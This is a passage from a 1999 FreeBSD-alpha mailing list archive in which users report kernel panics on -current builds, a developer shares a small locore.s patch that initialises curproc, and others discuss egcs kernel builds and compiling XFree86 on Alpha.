<199904282257.CAA02234@tejblum.dnttm.rssi.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ok does it suffice to update kernel sources and build a kernel or will I have to make world again ? On Thu, 29 Apr 1999, Dmitrij Tejblum wrote: > Khaled Daham wrote: > > > Hi > > > > Ive tried to build a kernel with a cvsupped world as of today(Apr 28) > > But it drops into the debugger after doing scsi delay > > > > sc0: VGA color <16 virtual consoles, flags=0x0> > > Timecounter "alpha" frequency 531914893 Hz > > Waiting 5 seconds for SCSI devices to settle > > > > fatal kernel trap: > > > > trap entry = 0x2 (memory mangement fault) > > a0 = 0x120 > > a1 = 0x1 > > a2 = 0x0 > > pc = 0xfffffc000036490c > > ra = 0xfffffc000036a948 > > curproc = 0 > > > > ddbprinttrap from 0xffffffc000036490c > > ddbprinttrap(0x120, 0x1, 0x0,0x2) > > panic: trap > > panic > > Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc000052baf0> > > > > It is normal today. This breakage caused by the commit from > 1999/04/07 18:04 PDT. It is not de0 or any other hardware related. > It should be fixed soon, perhaps tomorrow. > > Dima > > /Khaled, Telia Network Services Mail: khaled@telia.net Cell: 070-6785492 Work: 08-4567281 :hacker: /n./ [originally, someone who makes furniture with an axe] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 9: 5:18 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 990D814E5F for ; Thu, 29 Apr 1999 09:05:15 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from amber (pm3a-39.cybcon.com [205.147.75.168]) by mail.cybcon.com (8.9.0/8.9.0) with ESMTP id JAA07563 for ; Thu, 29 Apr 1999 09:05:14 -0700 (PDT) Message-Id: <199904291605.JAA07563@mail.cybcon.com> From: "William" To: Subject: egcs and compiling world...... Date: Thu, 29 Apr 1999 09:04:12 -0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Well, I did a make world last night of yesterdays cvsup to -current and egcs did what looks like a good job, meaning it finished. I am going to do the kernel compile and install when I get home, I know this is kinda a dumb time to ask, but, egcs does work compiling the kernel right? William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 9: 6:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id D657414E5F for ; Thu, 29 Apr 1999 09:06:33 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id JAA30236; Thu, 29 Apr 1999 09:06:13 -0700 Date: Thu, 29 Apr 1999 09:06:12 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: William Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: egcs and compiling world...... In-Reply-To: <199904291605.JAA07563@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Well, I did a make world last night of yesterdays cvsup to -current and > egcs did what looks like a good job, meaning it finished. I am going to do > the kernel compile and install when I get home, I know this is kinda a dumb > time to ask, but, egcs does work compiling the kernel right? No, it's a fair question to ask, and last I checked (the other day), it did. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 9:15:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 6407314FA2 for ; Thu, 29 Apr 1999 09:15:51 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id LAA13061; Thu, 29 Apr 1999 11:15:49 -0500 (CDT) Date: Thu, 29 Apr 1999 11:15:49 -0500 (CDT) From: Steve Price To: William Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: egcs and compiling world...... In-Reply-To: <199904291605.JAA07563@mail.cybcon.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 29 Apr 1999, William wrote: # Well, I did a make world last night of yesterdays cvsup to -current and # egcs did what looks like a good job, meaning it finished. I am going to do # the kernel compile and install when I get home, I know this is kinda a dumb # time to ask, but, egcs does work compiling the kernel right? I have an all egcs world on my alpha box including kernel and it has made it through two complete builds of the ports tree and it is working on its third pass right now. I've had zero problems with it (thanks to Matt's NFS fixes) until the vtable thunks were turned off in eg++. Stay tuned to -current for the gory details. -steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 11:58:55 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 907C915168 for ; Thu, 29 Apr 1999 11:58:51 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA30880 for ; Thu, 29 Apr 1999 11:58:36 -0700 Date: Thu, 29 Apr 1999 11:58:35 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: freebsd-alpha@freebsd.org Subject: alpha -current kernel blowup... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org today's config, today's kernel sources... isp1: Loop ID 124, Target/Initiator role Node Address 0x2 WWN 0x10030800208262f3 Hard Address 0x2 WWN 0x10030800208262f3 Master State=Logged In, Slave State=Port Unavailable fatal kernel trap: trap entry = 0x2 (memory management fault) a0 = 0x120 a1 = 0x1 a2 = 0x0 pc = 0xfffffc0000375f2c ra = 0xfffffc000037bf68 curproc = 0 ddbprinttrap from 0xfffffc0000375f2c ddbprinttrap(0x120, 0x1, 0x0, 0x2) panic: trap panic Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc0000589af0> db> t Debugger() at Debugger+0x2c panic() at panic+0xf4 trap() at trap+0x5cc XentMM() at XentMM+0x20 run_interrupt_driven_config_hooks() at run_interrupt_driven_config_hooks+0x68 (null)() at 0 db> 0 ? db> x/i 0xfffffc0000375f2c tsleep+0x4c: ldl t1,0x120(s0) db> x/i 0xfffffc000037bf68 run_interrupt_driven_config_hooks+0x68: ldah gp,0x19(ra) Anyone working on this or should I just fix it if I can ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 12:27:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id C53CB151C2 for ; Thu, 29 Apr 1999 12:26:40 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA56628; Thu, 29 Apr 1999 20:27:01 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 29 Apr 1999 20:27:01 +0100 (BST) From: Doug Rabson To: Khaled Daham Cc: Dmitrij Tejblum , freebsd-alpha@freebsd.org Subject: Re: fatal kernel traps In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 29 Apr 1999, Khaled Daham wrote: > > Ok does it suffice to update kernel sources and build a kernel or will I > have to make world again ? It should be sufficient to build just a kernel. I haven't seen the fix happen yet though (I might have missed it). -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 12:28:18 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2D83F1537B for ; Thu, 29 Apr 1999 12:28:09 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id UAA56639; Thu, 29 Apr 1999 20:28:53 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 29 Apr 1999 20:28:53 +0100 (BST) From: Doug Rabson To: Matthew Jacob Cc: freebsd-alpha@freebsd.org Subject: Re: alpha -current kernel blowup... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 29 Apr 1999, Matthew Jacob wrote: > > today's config, today's kernel sources... This is known about. I think Bruce was going to fix it but this band-aid might help (not tested): Index: locore.s =================================================================== RCS file: /home/ncvs/src/sys/alpha/alpha/locore.s,v retrieving revision 1.6 diff -u -r1.6 locore.s --- locore.s 1998/11/28 09:55:15 1.6 +++ locore.s 1999/04/28 20:33:01 @@ -110,6 +110,7 @@ * Switch to proc0's PCB, which is at U_PCB off of proc0paddr. */ lda t0,proc0 /* get phys addr of pcb */ + stq t0,curproc /* initialise curproc */ ldq a0,P_MD_PCBPADDR(t0) SWITCH_CONTEXT -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 13:45:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id C22C9152E6 for ; Thu, 29 Apr 1999 13:45:42 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id NAA31315; Thu, 29 Apr 1999 13:45:24 -0700 Date: Thu, 29 Apr 1999 13:45:23 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Doug Rabson Cc: freebsd-alpha@freebsd.org Subject: Re: alpha -current kernel blowup... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Yup, that seemed to help. thanks. On Thu, 29 Apr 1999, Doug Rabson wrote: > On Thu, 29 Apr 1999, Matthew Jacob wrote: > > > > > today's config, today's kernel sources... > > This is known about. I think Bruce was going to fix it but this band-aid > might help (not tested): > > Index: locore.s > =================================================================== > RCS file: /home/ncvs/src/sys/alpha/alpha/locore.s,v > retrieving revision 1.6 > diff -u -r1.6 locore.s > --- locore.s 1998/11/28 09:55:15 1.6 > +++ locore.s 1999/04/28 20:33:01 > @@ -110,6 +110,7 @@ > * Switch to proc0's PCB, which is at U_PCB off of proc0paddr. > */ > lda t0,proc0 /* get phys addr of pcb */ > + stq t0,curproc /* initialise curproc */ > ldq a0,P_MD_PCBPADDR(t0) > SWITCH_CONTEXT > > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 13:57:32 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 9E1411509B for ; Thu, 29 Apr 1999 13:57:25 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (pm3a-20.cybcon.com [205.147.75.149]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id NAA25240 for ; Thu, 29 Apr 1999 13:57:24 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: Panic while booting new kernel on -current compiled today..... Date: Thu, 29 Apr 1999 13:57:06 -0700 Message-ID: <000001be9282$d6fd4980$954b93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I just finished makeing a new kernel today after a successfull make world with -current source cvsupped today. When I went to reboot I get this: --------------------------- fatal kernel trap: trap entry = 0x2 (memory management fault) a0 = 0x120 a1 = 0x1 a2 = 0x0 pc = 0xfffffc0000370aec ra = 0xfffffc0000376b28 curproc = 0 ddbprinttrap from 0xfffffc0000370aec ddbprinttrap(0x120, 0x1, 0x0, 0x2) panic: trap panic Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc00005d9af0> db> -------------------------------------------------------------- Any ideas for me on this? Thanks, William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 14:21:25 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 67AEF1539A for ; Thu, 29 Apr 1999 14:21:17 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id OAA31422; Thu, 29 Apr 1999 14:03:41 -0700 Date: Thu, 29 Apr 1999 14:03:41 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: William Woods Cc: FreeBSD Alpha Subject: Re: Panic while booting new kernel on -current compiled today..... In-Reply-To: <000001be9282$d6fd4980$954b93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Try this patch from Doug- it worked for me: From dfr@nlsystems.com Thu Apr 29 13:41:36 1999 Date: Thu, 29 Apr 1999 20:28:53 +0100 (BST) From: Doug Rabson To: Matthew Jacob Cc: freebsd-alpha@freebsd.org Subject: Re: alpha -current kernel blowup... On Thu, 29 Apr 1999, Matthew Jacob wrote: > > today's config, today's kernel sources... This is known about. I think Bruce was going to fix it but this band-aid might help (not tested): Index: locore.s =================================================================== RCS file: /home/ncvs/src/sys/alpha/alpha/locore.s,v retrieving revision 1.6 diff -u -r1.6 locore.s --- locore.s 1998/11/28 09:55:15 1.6 +++ locore.s 1999/04/28 20:33:01 @@ -110,6 +110,7 @@ * Switch to proc0's PCB, which is at U_PCB off of proc0paddr. */ lda t0,proc0 /* get phys addr of pcb */ + stq t0,curproc /* initialise curproc */ ldq a0,P_MD_PCBPADDR(t0) SWITCH_CONTEXT -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 16:24:12 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from helios.dnttm.ru (dnttm-gw.rssi.ru [193.232.0.205]) by hub.freebsd.org (Postfix) with ESMTP id 94588151B0 for ; Thu, 29 Apr 1999 16:24:08 -0700 (PDT) (envelope-from dima@tejblum.dnttm.rssi.ru) Received: (from uucp@localhost) by helios.dnttm.ru (8.9.1/8.9.1/IP-3) with UUCP id DAA22651; Fri, 30 Apr 1999 03:13:49 +0400 Received: from tejblum.dnttm.rssi.ru (localhost [127.0.0.1]) by tejblum.dnttm.rssi.ru (8.9.3/8.9.1) with ESMTP id DAA00519; Fri, 30 Apr 1999 03:16:03 +0400 (MSD) (envelope-from dima@tejblum.dnttm.rssi.ru) Message-Id: <199904292316.DAA00519@tejblum.dnttm.rssi.ru> X-Mailer: exmh version 2.0gamma 1/27/96 To: "William Woods" Cc: "FreeBSD Alpha" , Matthew Jacob , Doug Rabson , Khaled Daham Subject: Re: Panic while booting new kernel on -current compiled today..... In-reply-to: Your message of "Thu, 29 Apr 1999 13:57:06 PDT." <000001be9282$d6fd4980$954b93cd@william> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 Apr 1999 03:16:03 +0400 From: Dmitrij Tejblum Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > fatal kernel trap: > > trap entry = 0x2 (memory management fault) > a0 = 0x120 > a1 = 0x1 > a2 = 0x0 > pc = 0xfffffc0000370aec > ra = 0xfffffc0000376b28 > curproc = 0 This is fixed in init_main.c 1.116. Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 14: 6: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 495A1158C5 for ; Fri, 30 Apr 1999 14:06:04 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-6.cybcon.com [205.147.76.7]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id OAA06909; Fri, 30 Apr 1999 14:06:01 -0700 (PDT) From: "William Woods" To: "Steve Price" Cc: "FreeBSD Alpha" Subject: RE: Compiling XFree on an alpha.. Date: Fri, 30 Apr 1999 14:05:43 -0700 Message-ID: <000001be934d$35d1a850$074c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, I applied this patch and now when I go to compile, I dont get the option to compile any VGA servers?? It starts right out asking: Do you want to build the Mono server [YES] " " " " S3 Server [YES] " " " " S3V Server [YES] " " " " Mach16 Server [YES] " " " " P9000 server [YES] " " " " I128 server [YES] " " " " GLINT Server [YES] " " " " TGA Server [YES] default server to instal. [none] ------------------------------------------ I answeder No to everything except what server to install, and I put SVGA in there. Well, It compiled and installed everything...sorta...I have no Xsetup, Xconfigurator.... Any ideas appreciated. I should mention that I am running 4.0 -current from 2 days ago. William > -----Original Message----- > From: Steve Price [mailto:sprice@hiwaay.net] > Sent: Tuesday, April 27, 1999 10:05 AM > To: William Woods > Cc: FreeBSD Alpha > Subject: Re: Compiling XFree on an alpha.. > > > http://www.freebsd.org/~dfr > > On Tue, 27 Apr 1999, William Woods wrote: > > # Someone here pointed out to me a web page with a patch that > makes compiling > # Xfree on an alpha possible....would you mind sending that again.... > # > # William > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 14:14: 6 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id A742E15597 for ; Fri, 30 Apr 1999 14:14:03 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id QAA32693; Fri, 30 Apr 1999 16:14:01 -0500 (CDT) Date: Fri, 30 Apr 1999 16:14:01 -0500 (CDT) From: Steve Price To: William Woods Cc: FreeBSD Alpha Subject: RE: Compiling XFree on an alpha.. In-Reply-To: <000001be934d$35d1a850$074c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 30 Apr 1999, William Woods wrote: # OK, I applied this patch and now when I go to compile, I dont get the option # to compile any VGA servers?? It starts right out asking: # # Do you want to build the Mono server [YES] # " " " " S3 Server [YES] # " " " " S3V Server [YES] # " " " " Mach16 Server [YES] # " " " " P9000 server [YES] # " " " " I128 server [YES] # " " " " GLINT Server [YES] # " " " " TGA Server [YES] # # default server to instal. [none] # # ------------------------------------------ # # I answeder No to everything except what server to install, and I put SVGA in # there. # # Well, It compiled and installed everything...sorta...I have no Xsetup, # Xconfigurator.... :) You've run into the catch-22 of building parts of X. In order to get Xsetup and friends you need tcl/tk and in order to get them you need X which won't... you get the idea. If you build X again after installing any version of tcl/tk you will get the missing files. Or you can munge around in the X source and find the right bits to recompile. # Any ideas appreciated. # # I should mention that I am running 4.0 -current from 2 days ago. # # William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 14:38:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 6191A15922 for ; Fri, 30 Apr 1999 14:38:38 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id WAA59940; Fri, 30 Apr 1999 22:39:38 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Fri, 30 Apr 1999 22:39:38 +0100 (BST) From: Doug Rabson To: Steve Price Cc: William Woods , FreeBSD Alpha Subject: RE: Compiling XFree on an alpha.. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 30 Apr 1999, Steve Price wrote: > On Fri, 30 Apr 1999, William Woods wrote: > > # OK, I applied this patch and now when I go to compile, I dont get the option > # to compile any VGA servers?? It starts right out asking: > # > # Do you want to build the Mono server [YES] > # " " " " S3 Server [YES] > # " " " " S3V Server [YES] > # " " " " Mach16 Server [YES] > # " " " " P9000 server [YES] > # " " " " I128 server [YES] > # " " " " GLINT Server [YES] > # " " " " TGA Server [YES] > # > # default server to instal. [none] > # > # ------------------------------------------ > # > # I answeder No to everything except what server to install, and I put SVGA in > # there. > # > # Well, It compiled and installed everything...sorta...I have no Xsetup, > # Xconfigurator.... > > :) You've run into the catch-22 of building parts of X. In > order to get Xsetup and friends you need tcl/tk and in order > to get them you need X which won't... you get the idea. If > you build X again after installing any version of tcl/tk you > will get the missing files. Or you can munge around in the > X source and find the right bits to recompile. Even after that you have the larger problem of XF86_VGA16 not being supported on the alpha since it is packed full of i386 assembler :-(. I wimped out and copied a config file from an i386 box.. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 17:32:27 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 89B8E14CAB for ; Fri, 30 Apr 1999 17:32:22 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-26.cybcon.com [205.147.76.27]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id RAA17669; Fri, 30 Apr 1999 17:32:20 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" , "Steve Price" Subject: RE: Compiling XFree on an alpha.. Date: Fri, 30 Apr 1999 17:32:03 -0700 Message-ID: <000001be936a$0895e410$1b4c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You realise this really sucks....... I would really probably be pushing things to ask if there were precompiled packages avaliable for this eh...... William > -----Original Message----- > From: Steve Price [mailto:sprice@hiwaay.net] > Sent: Friday, April 30, 1999 2:14 PM > To: William Woods > Cc: FreeBSD Alpha > Subject: RE: Compiling XFree on an alpha.. > > > On Fri, 30 Apr 1999, William Woods wrote: > > # OK, I applied this patch and now when I go to compile, I dont > get the option > # to compile any VGA servers?? It starts right out asking: > # > # Do you want to build the Mono server [YES] > # " " " " S3 Server [YES] > # " " " " S3V Server [YES] > # " " " " Mach16 Server [YES] > # " " " " P9000 server [YES] > # " " " " I128 server [YES] > # " " " " GLINT Server [YES] > # " " " " TGA Server [YES] > # > # default server to instal. [none] > # > # ------------------------------------------ > # > # I answeder No to everything except what server to install, and > I put SVGA in > # there. > # > # Well, It compiled and installed everything...sorta...I have no Xsetup, > # Xconfigurator.... > > :) You've run into the catch-22 of building parts of X. In > order to get Xsetup and friends you need tcl/tk and in order > to get them you need X which won't... you get the idea. If > you build X again after installing any version of tcl/tk you > will get the missing files. Or you can munge around in the > X source and find the right bits to recompile. > > # Any ideas appreciated. > # > # I should mention that I am running 4.0 -current from 2 days ago. > # > # William > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 17:36:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id 16A7E14CAB for ; Fri, 30 Apr 1999 17:36:21 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id RAA01861; Fri, 30 Apr 1999 17:34:50 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199905010034.RAA01861@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "William Woods" Cc: "FreeBSD Alpha" , "Steve Price" Subject: Re: Compiling XFree on an alpha.. In-reply-to: Your message of "Fri, 30 Apr 1999 17:32:03 PDT." <000001be936a$0895e410$1b4c93cd@william> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 30 Apr 1999 17:34:50 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > You realise this really sucks....... > > I would really probably be pushing things to ask if there were precompiled > packages avaliable for this eh...... You should, as a general rule, look before asking questions like this, it'll save you a lot of embarrassment. 8) -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 17:48: 8 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id B08D214CE7 for ; Fri, 30 Apr 1999 17:47:58 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id TAA10523; Fri, 30 Apr 1999 19:47:52 -0500 (CDT) Date: Fri, 30 Apr 1999 19:47:52 -0500 (CDT) From: Steve Price To: William Woods Cc: FreeBSD Alpha Subject: RE: Compiling XFree on an alpha.. In-Reply-To: <000001be936a$0895e410$1b4c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 30 Apr 1999, William Woods wrote: # You realise this really sucks....... # # I would really probably be pushing things to ask if there were precompiled # packages avaliable for this eh...... There are already packages for the tcl/tk ports. The XFree86 port is marked NO_PACKAGE so that doesn't exist, though I do have one built that I use for doing package builds but it only has the TGA server. -steve To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 30 19: 8:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id A009214D87 for ; Fri, 30 Apr 1999 19:08:44 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 31438 invoked from network); 1 May 1999 02:08:43 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 1 May 1999 02:08:43 -0000 Received: from ett.sat.t.u-tokyo.ac.jp 